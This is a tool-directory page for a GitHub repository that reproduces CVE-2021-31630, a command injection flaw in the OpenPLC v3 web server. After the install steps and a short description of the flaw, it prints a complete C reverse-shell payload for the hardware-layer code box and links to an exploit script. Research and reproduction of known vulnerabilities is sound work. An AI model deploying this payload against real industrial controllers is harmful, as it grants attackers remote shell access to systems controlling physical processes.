Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
OpenPLC_v3 — To reproduce CVE-2021-31630 | Kitploit
Tools/GitHubGitHub/tranquac/openplc_v3
Vulnerability AnalysisCode AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationCommand and Control
GitHubtranquac/openplc_v3

OpenPLC_v3

To reproduce CVE-2021-31630

View Repository
511 year agoNot yet reviewed
Share

OpenPLC Runtime version 3

Introduction

Build Status Build status

OpenPLC is an open-source programmable logic controller based on easy-to-use software. Our focus is to provide a low-cost industrial solution for automation and research. OpenPLC has been used in many research papers as a framework for industrial cybersecurity research, as it is the only controller that provides the full source code. The OpenPLC project consists of three sub-projects:

  1. Runtime
  2. Programming editor
  3. HMI builder

Installation

mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]

Where [platform] can be:

win - Install OpenPLC on Windows over Cygwin

linux - Install OpenPLC on a Debian-based Linux distribution

docker - Used by the Dockerfile (i.e. doesn't invoke sudo)

rpi - Install OpenPLC on a Raspberry Pi

custom - Skip all specific package installation and tries to install OpenPLC assuming your system already has all dependencies met. This option can be useful if you're trying to install OpenPLC on an unsuported Linux platform or had manually installed all the dependency packages before.

CVE-2021-31630

CVE-2021-31630 is a code/command injection vulnerability in OpenPLC's WebServer (version v3 widely used by the community). The flaw lies in the feature that allows loading/editing code in the /hardware interface (Hardware Layer Code Box), where input data is not sufficiently filtered/sanitized before being processed at the server level, leading to the ability to execute code under the privileges of the webserver process. The vulnerability was disclosed in 2021 and has a high severity rating in public vulnerability databases.

Technical description (defensible level): The web interface accepts a piece of "hardware layer code" entered by the user. This data is then processed by server components that may compile/normalize or insert it into a command context without performing any validation, filtering of special characters, or strict constraints. Under certain conditions (e.g., the data is concatenated into a system command string, or passed directly to a code processing function), an attacker can inject control sequences that alter the execution flow.

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer(){}

void updateCustomIn(){}

void updateCustomOut()
{
    int port = 1111;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

Exploit code: cve-2021-31630.py

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →